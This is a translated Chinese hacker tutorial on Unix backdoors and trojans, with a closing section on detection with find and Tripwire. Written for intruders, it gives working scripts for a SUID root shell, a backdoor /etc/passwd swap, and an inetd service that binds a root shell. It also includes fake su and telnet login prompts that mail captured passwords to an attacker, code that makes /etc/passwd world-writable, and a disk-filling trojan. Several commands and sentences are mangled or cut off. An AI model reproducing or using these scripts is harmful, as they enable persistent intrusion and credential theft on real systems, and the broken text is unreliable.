Unix系统后门技术指南 |
简介 |
黑客攻入系统后,面临一项艰巨的任务----保留对系统的访问权限.为了获取服务器固定的访问权限,入侵者必须知道服务器的所有弱点.这不是一件容易的事.后门或 木马,能够让黑客长期享有目标主机的访问权限.不过,这不能一概而论;后门可以做很多不同的事情,但它们的主要目的是保持对受限区域的访问权限.后门(又名,暗门)与木马之间存在着差异:黑客攻入系统后,会在系统中放置后门(入侵者用它进一步访问系统),而木马则为黑客提供独立访问的权限(取决于你是否有权限).入侵者如果不知道如何再次攻入系统,那么他们通常会编写或使用一些程序,用于欺骗管理员或其他用户,获取访问权限,然后做一些事情(例如,文件上传/下载等). 这篇文章我将介绍,如何根据Unix系统环境,打造/放置后门和木马.这些方法,系统管理员及其他领域的人,可能会很有兴趣.拥有和保留对Unix系统的远程访问权限,在Unix系统安全领域,是一项极具挑战的任务. |
案例 |
(前事不忘,后事之师).回顾过往,已经出现许多免费或者收费的后门和木马.介绍如何隐藏它们的案例也多不胜数.下面列举一些案例: |
破解工具劫持:木马程序可被置于世界闻名的破解工具内.一旦你使用它破解Unix密码,木马程序会悄悄地将你破解的密码发送给某个人.当然,作者会立即更新代码,发布新版本. |
扫描工具SATAN:早期SATAN(1.0)安装包内的某个二进制文件----fping,内置恶意代码.篡改代码的人,能够获取对目标机器(使用代码的机器)的访问权限(坦普尔大学).编码者篡改了fping的main()函数,让fping程序能够添加一个用户(用户名:‘suser‘)到/etc/passwd.使用这个用户名,他可获取安装有SATAN机器的远程权限. |
quota木马:1996,一个内置木马的quota版本,被发布到互联网(quota,是一款Unix工具,用于检测用户磁盘使用情况).该木马会拷贝密码和NIS地图,然后邮件给代码的作者. |
ircII木马:1994, ircII 2.29 (一款聊天程序客户端)也被放置木马.编码者利用木马,可获取系统的访问权限. |
TCPWrappers:互联网上有一个被放置木马的TCPWrappers版本.木马会放送邮件给编码者,以便能够获取TCPWrappers(恶意编译)系统的root权限. |
infamousSlackware后门:Linux Slackware releases 3.2 及早期版本,有一个安装包sample_users.tgz.这个文件会创建3个无密码账户(‘satan‘, ‘gonzo‘ , ‘snake‘ ). 入侵者可以通过帐号获取权限. |
当然,这并非所有的Unix系统后门/木马案例--这只是一部分(还有很多其他,例如wu-ftpd木马).我个人观点,木马是一大威胁,因为它们无处不在,它们几乎无所不能. |
后门技术 |
攻入一个系统后,想要再次获得root账户权限是一件很困难的事情.如果管理员发现你入侵了他的系统,那么你不得不寻找新的漏洞,或使用社会工程学,再次攻入他的系统.在系统内放置后门,可以避免上面的操作,我们同样可以获得root访问权. |
目前已经有很多后门技术,简单的就是添加用户到/etc/passwd文件,复杂点的就是处理服务进程(黑客最喜欢的一种方式), |
rhosts后门 (添加字符‘+ login后门 (修改Unix登陆程序--入侵者使用特定的后门密码,用户名随意,很容易获得指定用户的shell), telnet进程后门 (修改in.telnetd文件,例如字符串或 服务后门 (使用后门服务替换,新的网络服务或 网络流量后门 (shells内容输出到指定端口,例如TCP, 库后门 (后门被放置在库文件中(例如:MS 计划任务后门 (使用cron(用于计划任务的程序),攻击者可以让放置于系统的后门,在特定的时间启用), /etc/passwd文件后门 (一款简单的后门--在Unix的/etc/passwd文件中,添加一个无密码用户,此用户具有与root相同的userID), SUID后门 (复制一份rootshell,使用它的用户可获取root权限--此方法有限制,你必须有一个系统的非root账户), 等等...如你所见,现有很多的后门技术.根据系统,选择最合适的. 这一节,我将介绍一些Unix系统留后门的方法. |
*SUID后门如果你长期拥有系统的非root权限,那么我推荐你使用此方法(例如.拥有一个非root账户).复制一个绑定SUID标识的rootshell.这意味着,运行rootshell的用户,会获得root权限的shell,下面有一个简单的脚本,可以替你完成这项任务,记得将后门放置在一个安全的地方: -- #!/bin/shcp /bin/sh /tmp/.root_shell chown root:root /tmp/.root_shell chmod 4755 /tmp/.root_shell # or ‘chmod a+s /tmp/.root_shell‘ -- #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid( 0 ); system( "/bin/sh" ); return 0; } -- 当然,你需要root权限去执行这个脚本(安装后门).shell会被复制到/tmp目录,名为‘.root_shell‘.我建议你将它放在其他位置,系统会定期清理临时目录.你可以选择将后门重命名为‘...‘,这样做可以迷惑普通用户.如果想启用后门,只需在命令行窗口输入‘./.root_shell‘,此时你已具备root权限(可使用命令‘whoami‘和‘uid‘,进行验证). |
*/etc/passwd后门添加用户到/etc/passwd文件,此用户具备rootID -- #!/bin/sh cp/etc/passwd /etc/.temppass cp/tmp/.backdoor_passwd /etc/passwd sleep60 mv/etc/.temppass /etc/passwd -- 这项技术由daemon9引入,而且非常有效.使用后门passwd文件替换原始passwd文件,时长为1分钟(当然,你可以选择使用‘sleep‘命令,自定义时长).然而,有一个很重要的因素-- -- 14 0 * ** /bin/usr/backdoor_password -- 该脚本每天晚上00:15运行.这意味着你在那个时间点,具备权限访问目标机器.另外一种类似cron的后门,可以每天或每周发送/etc/passwd文件给后门安装者.攻击者可以很快知道有哪些新账户,服务,等信息...你还可以了解到后门账户(如果有)的信息.简单例子如下: -- #!/bin/sh cp/etc/passwd /etc/.temppass cat/etc/.temppass | mail [email protected] rm/etc/.temppass -- |
*联网进程/服务后门这也是一种广泛使用的方法.实际上,有两种方法---一种是针对长时间未使用的服务,另一种是建立新的服务. 开始前,我先来介绍一下/etc/services和/etc/inetd.conf文件.首先,以DigitalUnix -- echo7/tcp echo7/udp discard9/tcp discard9/udp systat11/udp daytime13/tcp # Day-time Daemon TCP daytime13/udp # Day-time Daemon UDP netstat15/tcp quote17/udp chargen19/tcp chargen19/udp ftp21/tcp telnet23/tcp smtp25/tcp # Simple Mail Transfer Protocol Daemon time37/tcp time37/udp name42/tcp whois43/tcp auditd48/tcp # Digital Audit Daemon -- 第一列,为服务名(请记住我们讨论的是网络服务), 第二列,为指定服务的端口号和协议类型(TCP或UDP), 第三列,为注释内容. 须知:使用getservicebyname()编程,可以知道服务对应的端口. 现在你已经了解了/etc/services,再介绍一下DigitalUnix -- ftp stream tcp nowait root/usr/local/tcpw/tcpd ftpd -dl telnetstream tcp nowait root /usr/local/tcpw/tcpd telnetd shell stream tcp nowaitroot /usr/local/tcpw/tcpd rshd loginstream tcp nowait root /usr/local/tcpw/tcpd rlogind exec stream tcp nowait root/usr/local/tcpw/tcpd rexecd fingerstream tcp nowait root /usr/local/tcpw/tcpd fingerd tftp dgram udp wait root/usr/sbin/tftpd tftpd /tmp comsatdgram udp wait root /usr/sbin/comsat comsat talkdgram udp wait root /usr/sbin/talkd talkd -- 第一列,为进程名(与/etc/services文件相同).作用就是将查找services文件,对应网络服务端口号. 第二列,为socket类型(stream类型或datagram类型). 第三列,为协议类型(TCP或UDP), 第四列,是否延时连接( 如果设定为wait,服务器会处理socket下的所有连接, 如果设定为nowait,系统会fork()和exec()一个新的服务器进程,用于额外数据包或连接请求. 通常情况下,UDP设定为wait,TCP设定为nowait--那么TCP出现异常), 第五列,启用服务进程的用户(通常是root), 第六列,服务对应的程序. 第七列,服务运行时,需要执行的命令(通常会带参数). 如我所说,有两种方案用于这种后门--针对不常用服务设定后门或 首先,我们尝试用已经存在的服务完成这项任务.在/etc/services文件内,选一个不常用的服务(不能是telnet,ftp, service, stream, TCP, nowait, root(执行程序的用户),后门程序地址(可以是/bin/sh),程序参数(例如:‘sh -- discard stream tcp nowaitroot /bin/sh sh -i -- (不要使用discard,因为它经常使用,这里的例子仅供参考)现在,我们所做的改变马上就会生效,你需要重启网络进程(使用命令‘killall-HUP 其次,创建一个新的服务(不使用已经存在的服务--可以避免被发现).你需要做的就是,查阅/etc/services文件,在两个端口间找一个空位子(例如:quote端口号是17, -- quote 17/udp backdoor 18/tcp chargen 19/tcp -- 接下来,打开/etc/inetd.conf文件,重复方法一中的操作.(如下所示): -- backdoor stream tcp nowaitroot /bin/sh sh -i -- 重启网络服务,让其生效.telnet端口18,你会获得一个rootshell. |
*登录程序后门:这也是Unix系统中常用的一种后门.由于Unix系统开源,系统内的很多程序都有源码.黑客可以修改指定版本的login程序,替换系统原有文件.使用特定密码进行登录,即可获得rootshell.案例(请参考附录部分). 这些都是基础且常用的后门.我推荐同时使用多个----可在系统中放置一对root |
木马技术 |
与后门不同,木马用于获取系统的初始权限.特洛伊木马的用途要回顾到很久之前,希腊人精心准备了一个大木马,并将木马作为礼物,送进了特洛伊城,这也就是闻名的特洛伊战争. 无知的人,使得木马能够成功运行.制作木马依赖你的想象力和知识.其中一款古老的Unix木马,就是修改登录程序.用户使用账户和密码登录时,验证通过,进入系统,同时会将登录信息邮件给攻击者.我并不打算详细的介绍木马的使用,因为他们之间的使用可能存在很大的差距.我会给你两个案例,介绍木马如何从用户那里获取关键信息. |
*su木马这一类的木马,主要用于获取root‘password.例如下面的脚本: -- #! /bin/sh stty-echo echo -n "Password:" read PASSWD sttyecho echo echo"Sorry" echo "$1 /$2: $PASSWD" | mail [email protected] rm$0 kill -9 $PPID -- 将脚本重命名为‘su‘,并将其放置在用户的home目录下.不过,你需要改变用户的PATH变量.为了木马成功执行,你必须这样做.有两种方法可行:(1)改变用户的.profile/ -- # PATH=.:/usr/bin:/bin:/usr/local/bin:/sbin: /usr/sbin:/usr/X11R6/bin # export PATH -- 注意/usr/bin前的点号(.).这个点号告诉系统,从用户目录获取命令/程序(注意:有些系统下,你必须赋予木马脚本执行权限). 用户执行脚本后,会提示用户输入密码.接着程序会提示用户,密码输入错误,在此同时,木马会将密码邮件给[email protected],然后木马会自动关闭进程,并删除文件. |
*telnet木马如果你想获取更多的主机和密码,可以使用该方法.大部分的Unix用户,会使用他们的shell账户,telnet其他系统,此方法可用于钓取更多的账户.案例脚本如下: -- #! /bin/sh echo"Trying $1..." sleep 1 echo "Connected to $1." echo "Escape character is ‘^]‘." echo " " echo-n "$1 on Linux 2.0.34, "; date +%x echo" " echo -n "login:" read ID echo-n "Password: " read PW sleep 1 echo"Login incorrect" echo" " echo -n "login:" read ID2 echo-n "Password: " readPW2 sleep 1 echo"Login incorrect" echo" " echo -n "login:" read ID3 echo-n "Password: " readPW3 echo "Host $1, TRY 1:user $ID and password $PW, TRY 2: user $ID2 and password $PW2, TRY 3: user $ID3 and password $PW3."| mail [email protected] sleep 1 echo "Login incorrect" echo "Connection closed by foreignhost." rm$0 kill -9 $PPID -- 它就像一个真实的telnet程序,登录过程,循环三次,然后返回到原始的shell窗口.当然,这个取决于用户是否粗心,这个程序针对的是Linux2.0.34 该程序的一个亮点,三次登录输入的密码,均被记录并邮件给攻击者(这样做,是为了避免用户输入密码出错的情况).另外,程序会自删除,如果想要木马程序工作,你需要修改PATH变量,以便首先从用户目录加载木马程序. |
*使用现存的程序作为木马这是一种很常见的方法.你需要在程序的C代码中,写入几行内容(前提是你有代码),如果程序是以root账户执行,那么就会执行指定操作: -- if (!strcmp(getlogin(),"root") ) system("chmod 666/etc/passwd"); -- 将这段代码放到程序中,然后重新编译.每次root账户载入程序,程序就会执行‘chmod |
*恶意木马一些人喜欢用木马破坏系统.其中一些是为了好玩,也有一些是为了利润.众多恶意木马中一款,可用于填充系统空间,这样会迫使Unix服务器重启.例如下面的Perl木马: -- #! /usr/local/bin/perl $SIZE=shift(@ARGV); $LIST=""; open(FILE, "> megfile"); { for ($CNT = 0; $CNT <100000; $CNT++ ) {print FILE "**********"; } } close(FILE); for ($CNT= 0; $CNT < $SIZE; $CNT++ ) {$LIST="$LIST megfile" } `cat$LIST > ${SIZE}_mBytes`; echo"Unknown error." rm $0 kill -9 $PPID -- 程序运行时,需要一个参数:文件名.因此,你可将木马伪装成,一个需要文件名参数运行的程序(例如:copy, -- #! /bin/sh df -kl |grep -iv filesystem | awk ‘{print $6" "$4}‘ | while readLINE; do FSPC=`echo$LINE |awk ‘{print $2}‘` if[ $FSPC -lt 100000 ]; then echo"`date` - ${LINE} space left on `hostname`" >>/var/log/df.log fi done -- 磁盘空间使用量在100MB以下时,此脚本会生成日志文件/var/log/df.log(加上邮件提醒root用户的功能很容易,请自行完成).这种脚本处理占据磁盘的木马时,相当于是系统管理员的救星. 木马有多种用途,每种用途取决于你想干什么.一些人用它捕获密码和一些有价值的信息,另外一些则用它来捣乱. |
后门/木马探测-------------------* 实际上,用户是最大的问题.能够发现后门和木马的用户,占少数.大部分的用户,在这一块相当于是新手,他们很容易被恶意程序欺骗.如我所言,SUID这类的后门/木马,很常用,也没有很好的防御方法.不过,我们使用`find`命令,可以很快定位到它. -- # find / -type f \( -perm -4000 -o -perm -2000 \) -ls -- find会列出SUID为4000或SGID为2000的文件.find按照给定的规则,对文件进行排除操作.(SUID程序s权限位,对应可执行文件的x位.例如:rws).如果你有一个NFS加载的文件系统,你可以在查询的时候,进行排除,命令如下: -- # find / -local -type f \(-perm -4000 -o -perm -2000 \) -exec ls -ld ‘{}‘ \; -- 这种方案,只针对一种类型的后门.还有很多其他的类型,此处的保护工作显然力不能及.the -- #! /bin/sh cat/usr/adm/file_list | xargs ls -ild > /tmp/now diff -b /usr/adm/save_list/tmp/now -- 文件/usr/adm/file_list包含需要监控的文件列表.-i选项,会给列表中的文件加上inode编号.-d选项,会给出文件/目录的属性. 对上面的案例进行改良,加入强大的`find`命令,可以得到更好的效果. -- #! /bin/sh find `cat/usr/adm/file_list` -ls > /tmp/now diff-b /usr/adm/save_list /tmp/now -- 该脚本,会通过对比,显示是否有文件添加/删除.该脚本还会启用文件的md5校验值: -- #! /bin/sh find `cat/usr/adm/file_list` -ls -type f -exec md5 {}\; > /tmp/now diff -b /usr/adm/save_list/tmp/now -- 另外一种常见的后门,在/etc/passwd文件中添加一个UID为0的账户.针对这类的后门,检测措施就是查找UID为0的用户.(UID为0的账户,域值数小于7或没有密码): -- # cat/etc/passwd | awk -F: ‘NF != 7 || $3 == 0 || $2 == "" {print $1 " " $2 " " $3}‘ -- 这个脚本会返回所有满足规则的用户名.这个脚本有些落后,不怎么可靠.完美的系统并不存在.不过,已经出现了一些很实用的程序,可用来帮助我们,例如:Tripwire.记下来的一章,我会介绍一下Tripwire的用途,如何使用它来监控文件系统.Tripwire,于1992年,由普度大学的EugeneSpafford和GeneKim编写.Tripwire,是一款检测工具,主要用来监控Unix系统文件,以便找出非认证性的篡改.Tripwise,在识别攻击者留下的病毒/蠕虫/逻辑炸弹/后门/木马方面,效果明显.Unix镜像发布的时候,已经包含了上千个安装文件.被入侵以后,还没有一个很好的办法用于检查所有文件.重装系统并不是明智的做法,尤其遇到你没有备份的情况.Tripwire会将文件的指纹录入数据库中.被入侵后,可通过对比现文件指纹,进行检测.添加,删除,修改的文件均会报告给管理员.Tripwire不错,主要是因为他速度非常快.Tripwire使用了各种各样的签名算法或单向散列函数.例如: RSA Data Security Inc.‘s, MD5 (Message Digest 5), MD4and MD2, Snefru (Xerox Secure Hash Function), SHA (SecureHash Algorithm), Haval code two conventional CRC (theCyclic Redundancy Check -- 32-bit and 16-bit). Tripwise默认安装以后,每个文件会有两条签名信息存储在数据库中.对黑客来说,这两个值很难覆盖.作者用5台机器测试了250,000个文件,以便找出重复的签名.16-bit Tripwire具备很好的移植性-----有一个版本,适用于每个Unix镜像.数据库内的信息采用的是ASCII编码,因此很容易打印,也容易由其他文本编辑器修改.Tripwire快速,准确,并可在网络模式下运行.(一个基本安装,即可覆盖上千台机器.). 第一次运行时,Tripwire会创建基准的签名数据库.以后每次运行时,Tripwire会调用tw.config这个配置文件,生成一个新的签名库.然后,程序会对比原始库与新库,并产生报告.下面的图形,演示了Tripwire是如何工作的: -- tw.config-- generate --> new database | baseline| database--------------> compare | applyoptions | report -- Tripwire有四种操作模式: *创建数据库:产生基准数据库,用于后期对比. * 完整性检测:tripwire的核心模式(检测文件时,会与基准数据库做比较). *数据库更新和 交互式更新:这两种模式有很多选项,可用于排除动态变化的文件.例如:/etc/passwd,如果你使用的是拥有很多用户的一个大系统,经常添加/删除用户,由于这个文件经常改动,然后你想在检查过程中,排除这个文件.然而,攻击者可能会在/etc/passwd文件中放置一个后门账户.因此,我推荐创建一个shell脚本,用于备份passwd文件.(可按日期备份/etc/passwd文件.). tw.config文件是个不错的资源,它会展示一些扩展信息,哪个文件正在被处理,该文件的所拥有的属性/标识.tw.config文件中每个条目都有对应的掩码.下表显示的就是Tripwire的mask值: Flag:Description: -----*--------------------------------------* - 排除下面的属性 + 包含下面的属性 p 权限位 i inode number n 链接数 u 所有者用户ID g 所有者组ID s 文件大小 a 访问时间 m 修改时间 cinode 创建/修改时间 须知:inode,是Unix系统用于存储文件信息的一种结构(location,type(文件/目录/链接,等....),对象的大小,ctime, 由于这些标记很复杂,开发者新增加了一个模板,满足管理员的需求: Letter:Template purpose: Template selection masks: -------*------------------*--------------------------* R read-only files+pinugsm12-ac3456789 Llog files +pinug-sacm123456789 Nignore nothing +pinugsamc123456789 Eignore everything -pinugsamc123456789 >growing log files +pinug>samc123456789 须知:该模板可以与所选masks值混用(例如:R-2,检测只读文件). Tripwire默认使用R模板.例如:/home/bjames在tw.config文件中的记录如下所示: -- /home/bjames R -- then theselection masks for that directory are actually: -- /home/bjames+pinugsm12-ac3456789 -- 这样做简化了工作.上面的例子中,Tripwire会报告模式位的变化,inode号,reference计数,UID, Number: Signature: -------*------------------------* 0 null signature 1 MD5 2 Snefru 3 CRC (32-bit) 4 CRC (16-bit) 5 MD4 6 MD2 7 SHA 8 Haval (128-bit) 9 保留以便后用 MD5和Snefru最常用.现有两个操作符,让文件监控配置工作更易做.如果在tw.config条目前加上(‘!‘),那么在检测时,该文件就会被忽略.如果条目是目录----那么目录下的所有文件会被忽略. 如果在条目前加上(‘=‘),且条目类型为文件,那么Tripwire不会采取任何措施.如果条目为目录,那么目录内的文件不会处理,只会处理目录自己. Tripwire安装并不困难,因此在这里不做介绍.我要做的就是给你一些提示,让你的监控工作更容易做.‘tripwire -- # tripwire -update/home/bjames/my.file # tripwire -update /home/bjames -- 第一条命令,更新/home/bjames目下的文件‘my.file‘. 第二条命令,更新/home/bjames目录下的所有文件. 为了让Tripwire高效的工作,我推荐你使用cron设定一个一天一次的任务.甚至可以让Tripwire给你发送报告邮件(‘tripwire| *一次简单的检测案例: -- Tripwire(tm) IntrusionDetection Software v1.3 Thisrelease is for single CPU, single-site, end-use purposes. For commericalapplications or product information,please visit the Visual Computing Corporation website at http://www.visualcomputing.com/tripwire, or call us at (503) 223-0280. Tripwire(tm) Copyright1992-98 by the Purdue Research Foundationof Purdue University, and distributed by Visual Computing Corporation underexclusive license arrangements. ### Phase1: Reading configuration file ###Phase 2: Generating file list ###Phase 3: Creating file information database ###Phase 4: Searching for inconsistencies ### ### Total files scanned:37024 ###Files added: 7 ###Files deleted: 8 ###Files changed: 22 ###### Total file violations: 37 -- 还有一件事----记得加固Tripwire的数据库.这些数据库,是入侵者的目标,对管理员的你来说,其价值也不容忽视.Tripwire是一款强大的工具,使用得当,你可以最大力度的找出后门/木马.Tripwire在网上有些衍生版本,一个是,Perl版的Slipwire.另外的有,ATP, |
附录---------* slipwire.pl(slipwireperl脚本,用于文件系统完整性检测)随文打包.trojans_c.zip slipwire.pl- http://net-security.org/default/08/slipwire.pl trojans_c.zip- http://net-security.org/default/08/trojans_c.zip |
结论-----------* 如果想要拥有对系统固定的访问权限,后门放置至关重要.如果入侵者想要保住root账户,后门放置是首要任务.另一方面,系统管理员应该谨慎一些,每天用Tripwire进行文件完整性检测. |
声明-----------* weprohibit hacking,phreaking & such criminal activities. allinformation found here does not, in any way,connect to crime. thistext is meant for people to learn and be |
Unix系统后门技术指南